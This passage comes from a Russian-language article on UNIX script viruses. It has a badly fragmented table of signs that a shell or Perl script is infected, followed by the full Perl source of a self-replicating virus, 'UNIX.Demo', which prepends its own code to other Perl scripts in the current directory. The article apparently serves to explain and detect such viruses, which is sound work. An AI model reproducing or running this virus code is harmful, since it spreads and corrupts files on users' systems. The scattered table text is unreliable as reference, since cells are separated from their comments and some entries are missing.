Вирусы в UNIX, или Гибель Титаника II


         

в не первой строке файла,


































































































признак



комментарий



#!/bin/sh

"\#\!\/usr\/bin\/perl"



если расположена в не первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#!" находится внутри оператора if?then или же передается командам greep и/или find;



greep



используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в "честных" программах;



find



$0



характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?);



head



используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта;



tail



используется для извлечения своего тела из конца файла-носителя;



chmod

+x



если применяется к динамически создаваемому файлу, с высокой степень вероятности свидетельствует о наличии вируса (причем ключ +x может быть так или иначе замаскирован);



<< 



если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе)



"\xAA\xBB\xCC…"



характерный признак зашифрованного вируса



"Aj#9KlRzS"



vir, virus, virii, infect…



характерный признак вируса, хотя может быть и просто шуткой



Таблица 1 сводная таблица наиболее характерных признаков наличия вируса с краткими комментариями (подробности по тексту)

#!/usr/bin/perl

#PerlDemo

open(File,$0);

@Virus=<File>;

@Virus=@Virus[0...27];

close(File);

foreach $FileName (<*>)

{

       if ((-r $FileName) && (-w $FileName) && (-f $FileName))

       {

              open(File, "$FileName");

              @Temp=<File>;

              close(File);

              if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

              {

                     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))

                     {

                           open(File, ">$FileName");

                           print File @Virus;

                           print File @Temp;

                           close (File);

                     }

              }

       }

}

Листинг 4 фрагмент Perl-вируса UNIX.Demo


Содержание  Назад  Вперед